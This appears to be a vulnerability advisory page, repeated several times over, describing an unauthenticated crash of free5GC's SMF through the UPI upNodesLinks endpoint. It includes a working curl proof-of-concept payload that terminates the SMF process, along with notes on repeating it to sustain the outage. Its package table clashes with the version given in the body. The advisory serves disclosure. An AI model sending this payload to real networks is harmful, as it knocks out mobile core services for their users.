### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The `POST /upi/v1/upNodesLinks` create-or-update handler accepts attacker-controlled JSON and passes it directly into `UpNodesFromConfiguration()`, which calls `logger.InitLog.Fatalf(...)` on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (`docker ps` shows `Exited (1)`), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls `Fatalf` which is `os.Exit(1)`-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:47:07Z`) - SMF endpoint: `http://10.100.200.6:8000` The broader `UPI` auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there: Vulnerable handler dispatches into topology parsing: ``` POST /upi/v1/upNodesLinks -> UpNodesFromConfiguration() -> isOverlap(allUEIPPools) -> logger.InitLog.Fatalf("overlap cidr value between UPFs") ``` Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability): - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Create-or-update handler accepts attacker JSON and forwards it to `UpNodesFromConfiguration()`: - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:72` - Pool parsing (input from attacker JSON): - `NFs/smf/internal/context/user_plane_information.go:413` - Overlap check that calls `Fatalf`: - `NFs/smf/internal/context/user_plane_information.go:479` The same unauthenticated POST path also reaches sibling `Fatalf` calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable `Fatalf` call sites on a single unauthenticated handler: - `NFs/smf/internal/context/user_plane_information.go:416` - `NFs/smf/internal/context/user_plane_information.go:424` - `NFs/smf/internal/context/user_plane_information.go:430` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (`10.60.0.0/16`): ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}' ``` Client-side observation (server died mid-request, no HTTP response written): ``` curl: (52) Empty reply from server ``` 2. Confirm the SMF container exited: ``` docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' ``` ``` smf Exited (1) 9 seconds ago ``` 3. SMF container logs (`docker logs --tail 80 smf`) show the `FATA` line that terminated the process: ``` [FATA][SMF][Init] overlap cidr value between UPFs ``` ### Impact Unauthenticated process-kill DoS on the SMF management plane. 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance `nsmf-oam` returning `401` (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls `logger.InitLog.Fatalf(...)` on attacker-influenced validation failures. `Fatalf` is `os.Exit(1)`-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level. Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling `Fatalf` paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using `Fatalf` for request-time validation on an unauthenticated handler. No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203
### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The `POST /upi/v1/upNodesLinks` create-or-update handler accepts attacker-controlled JSON and passes it directly into `UpNodesFromConfiguration()`, which calls `logger.InitLog.Fatalf(...)` on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (`docker ps` shows `Exited (1)`), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls `Fatalf` which is `os.Exit(1)`-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:47:07Z`) - SMF endpoint: `http://10.100.200.6:8000` The broader `UPI` auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there: Vulnerable handler dispatches into topology parsing: ``` POST /upi/v1/upNodesLinks -> UpNodesFromConfiguration() -> isOverlap(allUEIPPools) -> logger.InitLog.Fatalf("overlap cidr value between UPFs") ``` Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability): - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Create-or-update handler accepts attacker JSON and forwards it to `UpNodesFromConfiguration()`: - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:72` - Pool parsing (input from attacker JSON): - `NFs/smf/internal/context/user_plane_information.go:413` - Overlap check that calls `Fatalf`: - `NFs/smf/internal/context/user_plane_information.go:479` The same unauthenticated POST path also reaches sibling `Fatalf` calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable `Fatalf` call sites on a single unauthenticated handler: - `NFs/smf/internal/context/user_plane_information.go:416` - `NFs/smf/internal/context/user_plane_information.go:424` - `NFs/smf/internal/context/user_plane_information.go:430` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (`10.60.0.0/16`): ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}' ``` Client-side observation (server died mid-request, no HTTP response written): ``` curl: (52) Empty reply from server ``` 2. Confirm the SMF container exited: ``` docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' ``` ``` smf Exited (1) 9 seconds ago ``` 3. SMF container logs (`docker logs --tail 80 smf`) show the `FATA` line that terminated the process: ``` [FATA][SMF][Init] overlap cidr value between UPFs ``` ### Impact Unauthenticated process-kill DoS on the SMF management plane. 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance `nsmf-oam` returning `401` (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls `logger.InitLog.Fatalf(...)` on attacker-influenced validation failures. `Fatalf` is `os.Exit(1)`-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level. Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling `Fatalf` paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using `Fatalf` for request-time validation on an unauthenticated handler. No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203
Monitor this advisory for an available fix and review any installs of the affected package.
Local check
hol-guard supply-chain scanfree5GC's SMF UPI POST /upi/v1/upNodesLinks exits the SMF process on overlapping UE pools (unauthenticated, reachable Fatalf) affects github.com/free5gc/smf (go). Severity is high. ### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The `POST /upi/v1/upNodesLinks` create-or-update handler accepts attacker-controlled JSON and passes it directly into `UpNodesFromConfiguration()`, which calls `logger.InitLog.Fatalf(...)` on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (`docker ps` shows `Exited (1)`), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls `Fatalf` which is `os.Exit(1)`-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:47:07Z`) - SMF endpoint: `http://10.100.200.6:8000` The broader `UPI` auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there: Vulnerable handler dispatches into topology parsing: ``` POST /upi/v1/upNodesLinks -> UpNodesFromConfiguration() -> isOverlap(allUEIPPools) -> logger.InitLog.Fatalf("overlap cidr value between UPFs") ``` Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability): - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Create-or-update handler accepts attacker JSON and forwards it to `UpNodesFromConfiguration()`: - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:72` - Pool parsing (input from attacker JSON): - `NFs/smf/internal/context/user_plane_information.go:413` - Overlap check that calls `Fatalf`: - `NFs/smf/internal/context/user_plane_information.go:479` The same unauthenticated POST path also reaches sibling `Fatalf` calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable `Fatalf` call sites on a single unauthenticated handler: - `NFs/smf/internal/context/user_plane_information.go:416` - `NFs/smf/internal/context/user_plane_information.go:424` - `NFs/smf/internal/context/user_plane_information.go:430` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (`10.60.0.0/16`): ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}' ``` Client-side observation (server died mid-request, no HTTP response written): ``` curl: (52) Empty reply from server ``` 2. Confirm the SMF container exited: ``` docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' ``` ``` smf Exited (1) 9 seconds ago ``` 3. SMF container logs (`docker logs --tail 80 smf`) show the `FATA` line that terminated the process: ``` [FATA][SMF][Init] overlap cidr value between UPFs ``` ### Impact Unauthenticated process-kill DoS on the SMF management plane. 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance `nsmf-oam` returning `401` (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls `logger.InitLog.Fatalf(...)` on attacker-influenced validation failures. `Fatalf` is `os.Exit(1)`-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level. Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling `Fatalf` paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using `Fatalf` for request-time validation on an unauthenticated handler. No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/free5gc/smfgo | <=1.4.3 | Not reported |
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardMonitor this advisory for an available fix and review any installs of the affected package.
Local check
hol-guard supply-chain scanfree5GC's SMF UPI POST /upi/v1/upNodesLinks exits the SMF process on overlapping UE pools (unauthenticated, reachable Fatalf) affects github.com/free5gc/smf (go). Severity is high. ### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The `POST /upi/v1/upNodesLinks` create-or-update handler accepts attacker-controlled JSON and passes it directly into `UpNodesFromConfiguration()`, which calls `logger.InitLog.Fatalf(...)` on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (`docker ps` shows `Exited (1)`), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls `Fatalf` which is `os.Exit(1)`-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:47:07Z`) - SMF endpoint: `http://10.100.200.6:8000` The broader `UPI` auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there: Vulnerable handler dispatches into topology parsing: ``` POST /upi/v1/upNodesLinks -> UpNodesFromConfiguration() -> isOverlap(allUEIPPools) -> logger.InitLog.Fatalf("overlap cidr value between UPFs") ``` Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability): - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Create-or-update handler accepts attacker JSON and forwards it to `UpNodesFromConfiguration()`: - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:72` - Pool parsing (input from attacker JSON): - `NFs/smf/internal/context/user_plane_information.go:413` - Overlap check that calls `Fatalf`: - `NFs/smf/internal/context/user_plane_information.go:479` The same unauthenticated POST path also reaches sibling `Fatalf` calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable `Fatalf` call sites on a single unauthenticated handler: - `NFs/smf/internal/context/user_plane_information.go:416` - `NFs/smf/internal/context/user_plane_information.go:424` - `NFs/smf/internal/context/user_plane_information.go:430` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (`10.60.0.0/16`): ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}' ``` Client-side observation (server died mid-request, no HTTP response written): ``` curl: (52) Empty reply from server ``` 2. Confirm the SMF container exited: ``` docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' ``` ``` smf Exited (1) 9 seconds ago ``` 3. SMF container logs (`docker logs --tail 80 smf`) show the `FATA` line that terminated the process: ``` [FATA][SMF][Init] overlap cidr value between UPFs ``` ### Impact Unauthenticated process-kill DoS on the SMF management plane. 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance `nsmf-oam` returning `401` (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls `logger.InitLog.Fatalf(...)` on attacker-influenced validation failures. `Fatalf` is `os.Exit(1)`-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level. Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling `Fatalf` paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using `Fatalf` for request-time validation on an unauthenticated handler. No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/free5gc/smfgo | <=1.4.3 | Not reported |
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard